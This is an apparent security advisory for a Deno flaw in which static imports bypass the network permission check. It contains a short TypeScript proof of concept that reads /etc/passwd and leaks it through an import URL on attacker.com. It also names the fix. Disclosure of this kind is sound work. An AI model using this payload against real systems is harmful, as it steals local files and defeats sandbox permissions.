Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor

Summary

### Summary

Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.

### Details

Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:

1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code. 2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.

### PoC

```ts const __filename = new URL("", import.meta.url).pathname; let oldContent = await Deno.readTextFile(__filename); let passFile = await Deno.readTextFile("/etc/passwd"); let pre = 'import {foo} from "[https://attacker.com?val=](https://attacker.com/?val=)' + encodeURIComponent(passFile) + '";\n'; await Deno.writeTextFile(__filename, pre + oldContent); ```

Executing a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.

This vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access